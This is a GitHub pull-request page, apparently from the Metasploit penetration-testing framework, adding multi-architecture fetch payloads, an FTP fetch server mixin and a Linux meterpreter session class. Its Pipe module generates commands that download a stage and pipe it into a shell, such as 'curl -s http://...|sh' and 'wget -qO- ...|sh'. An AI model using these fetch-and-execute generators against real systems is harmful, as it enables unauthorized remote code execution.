-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Fetch Multi Part 2: The Fetchening #21384
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from 11 commits
Commits
Show all changes
18 commits
Select commit
Hold shift + click to select a range
8521c19
Another attampt at fetch multi
bwatters-r7 7edbca0
Working fetch_multi, but everything else is probably broken....
bwatters-r7 1c807df
Add TFTP server, update FTP server, add FTP fetch payloads, fix bugs …
bwatters-r7 cc7db72
Fix rspec tests, I hope.
bwatters-r7 5d5e9ae
Fix rspec tests, rubocop linting, tnftp cert checking
bwatters-r7 0479c8c
Add some check for fetch multi and add https/multi
bwatters-r7 ec32a66
Add https/multi
bwatters-r7 3eb5a0f
Fix rspecs (again) and swap to rex-arch for uname results
bwatters-r7 ecc5f41
catch up
bwatters-r7 0b75dfa
Fix rspec and rubocop issues
bwatters-r7 9403089
Fix bug in fetch gileless shell with GET, make ftp server class-ier, …
bwatters-r7 e1f2fa1
Easy copilot fixes and remove silly debug prints
bwatters-r7 108679a
Make adfoster/copilot-requested changes
bwatters-r7 a023481
Make rubocop happy about keyword args and re-add FETCH_FILENAME to SMB
bwatters-r7 71323c7
Oh hey- forgot this lil spec file
bwatters-r7 14898a3
Go back to redirect over tee for GET payloads
bwatters-r7 cec9446
Update spec to not look for tee
bwatters-r7 67af82e
Add documentation for fetch multi and warning about mips behavior.
bwatters-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Some comments aren't visible on the classic Files Changed page.
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,26 @@ | ||
| # -*- coding: binary -*- | ||
|
|
||
| module Msf | ||
| module Sessions | ||
| ### | ||
| # | ||
| # This class creates a platform-specific, architecture agnostic meterpreter session type | ||
| # | ||
| ### | ||
| class MeterpreterMultiLinux < Msf::Sessions::Meterpreter | ||
| def supports_ssl? | ||
| false | ||
| end | ||
|
|
||
| def supports_zlib? | ||
| false | ||
| end | ||
|
|
||
| def initialize(rstream, opts = {}) | ||
| super | ||
| self.base_platform = 'linux' | ||
| self.base_arch = ARCH_ANY # will be populated automatically | ||
| end | ||
| end | ||
| end | ||
| end |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,30 @@ | ||
| # Mixin for fetch payloads that retrieve and execute a stage over FTP. | ||
| module Msf::Payload::Adapter::Fetch::FTP | ||
| include Msf::Exploit::EXE | ||
| include Msf::Payload::Adapter | ||
| include Msf::Payload::Adapter::Fetch | ||
| include Msf::Payload::Adapter::Fetch::Server::FTP | ||
|
|
||
| def initialize(*args) | ||
| super | ||
| end | ||
|
|
||
| def cleanup_handler | ||
| if @fetch_service | ||
| cleanup_ftp_fetch_service(@fetch_service) | ||
| @fetch_service = nil | ||
| end | ||
|
|
||
| super | ||
| end | ||
|
|
||
| def setup_handler | ||
| unless datastore['FetchHandlerDisable'] | ||
| @fetch_service = start_ftp_fetch_handler(fetch_bindport, fetch_bindhost) | ||
| @srv_resources.each do |srv_entry| | ||
| add_resource(@fetch_service, srv_entry[:uri], srv_entry) | ||
| end | ||
| end | ||
| super | ||
| end | ||
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,76 @@ | ||
| module Msf | ||
| ### | ||
| # | ||
| # Common library for pipe-enabled fetch payloads | ||
| # | ||
| ### | ||
| module Payload::Adapter::Fetch::Pipe | ||
| def _download_pipe(uripath) | ||
| "#{srvnetloc}/#{uripath}" | ||
| end | ||
|
|
||
| def pipe_supported_binaries | ||
| # this is going to expand when we add psh support | ||
| return %w[CURL] if windows? | ||
|
|
||
| %w[WGET CURL GET] | ||
| end | ||
|
|
||
| def generate_pipe_command(uri) | ||
| case datastore['FETCH_COMMAND'].upcase | ||
| when 'WGET' | ||
| return _generate_wget_pipe(uri) | ||
| when 'CURL' | ||
| return _generate_curl_pipe(uri) | ||
| when 'GET' | ||
| return _generate_get_pipe(uri) | ||
| else | ||
| fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") | ||
| end | ||
| end | ||
|
|
||
| def _generate_curl_pipe(uri) | ||
| execute_cmd = windows? ? 'cmd' : 'sh' | ||
| case fetch_protocol | ||
| when 'HTTP' | ||
| return "curl -s http://#{_download_pipe(uri)}|#{execute_cmd}" | ||
| when 'HTTPS' | ||
| return "curl -sk https://#{_download_pipe(uri)}|#{execute_cmd}" | ||
| else | ||
| fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") | ||
| end | ||
| end | ||
|
|
||
| def _generate_wget_pipe(uri) | ||
| case fetch_protocol | ||
| when 'HTTPS' | ||
| return "wget --no-check-certificate -qO- https://#{_download_pipe(uri)}|sh" | ||
| when 'HTTP' | ||
| return "wget -qO- http://#{_download_pipe(uri)}|sh" | ||
|
bwatters-r7 marked this conversation as resolved.
|
||
| else | ||
| fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") | ||
| end | ||
| end | ||
|
|
||
| # Builds a GET command that streams a served command directly into a shell. | ||
| # | ||
| # @return [String] The GET pipe command. | ||
| def _generate_get_pipe(uri) | ||
| # Specifying the method (-m GET) is necessary on OSX | ||
| execute_cmd = windows? ? 'cmd' : 'sh' | ||
| case fetch_protocol | ||
| when 'HTTP' | ||
| return "GET -m GET http://#{_download_pipe(uri)}|#{execute_cmd}" | ||
| when 'HTTPS' | ||
| # There is no way to disable cert check in GET ... | ||
| print_error('GET binary does not support insecure mode') | ||
| fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') | ||
| return "GET -m GET https://#{_download_pipe(uri)}|#{execute_cmd}" | ||
| when 'FTP' | ||
| return "GET ftp://#{_download_pipe(uri)}|#{execute_cmd}" | ||
|
bwatters-r7 marked this conversation as resolved.
|
||
| else | ||
| fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") | ||
| end | ||
| end | ||
| end | ||
| end | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,47 @@ | ||
| # Mixin that provides FTP fetch handler support for fetch payload adapters. | ||
| module Msf::Payload::Adapter::Fetch::Server::FTP | ||
| def initialize(*args) | ||
| super | ||
| register_options( | ||
| [ | ||
| Msf::OptBool.new('FETCH_SRVONCE', [true, 'Stop serving the payload after it is retrieved', true]), | ||
|
|
||
| ] | ||
| ) | ||
| end | ||
|
|
||
| def cleanup_ftp_fetch_service(fetch_service) | ||
| @myresources.each do |uri| | ||
| fetch_service.deregister_file(uri) | ||
| end | ||
| fetch_service.deref | ||
|
bwatters-r7 marked this conversation as resolved.
Outdated
|
||
| end | ||
|
|
||
| def fetch_protocol | ||
| 'FTP' | ||
| end | ||
|
|
||
| def start_ftp_server(srvport, srvhost) | ||
| vprint_status("Starting FTP server on #{Rex::Socket.to_authority(srvhost, srvport)}") | ||
| Rex::ServiceManager.start( | ||
| Rex::Proto::Ftp::Server, | ||
| srvport, srvhost, | ||
| { 'Msf' => framework, 'MsfExploit' => self } | ||
| ) | ||
| end | ||
|
|
||
| def add_resource(fetch_service, uri, srv_entry) | ||
| vprint_status("Adding FTP resource #{uri}") | ||
| fetch_service.register_file(uri, srv_entry[:data], serve_once: datastore['FETCH_SRVONCE']) | ||
| @myresources << uri | ||
| end | ||
|
|
||
| def start_ftp_fetch_handler(srvport, srvhost) | ||
| fetch_service = start_ftp_server(srvport, srvhost) | ||
| if fetch_service.nil? | ||
| cleanup_handler | ||
| fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{Rex::Socket.to_authority(srvhost, srvport)}") | ||
| end | ||
| fetch_service | ||
| end | ||
| end | ||
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.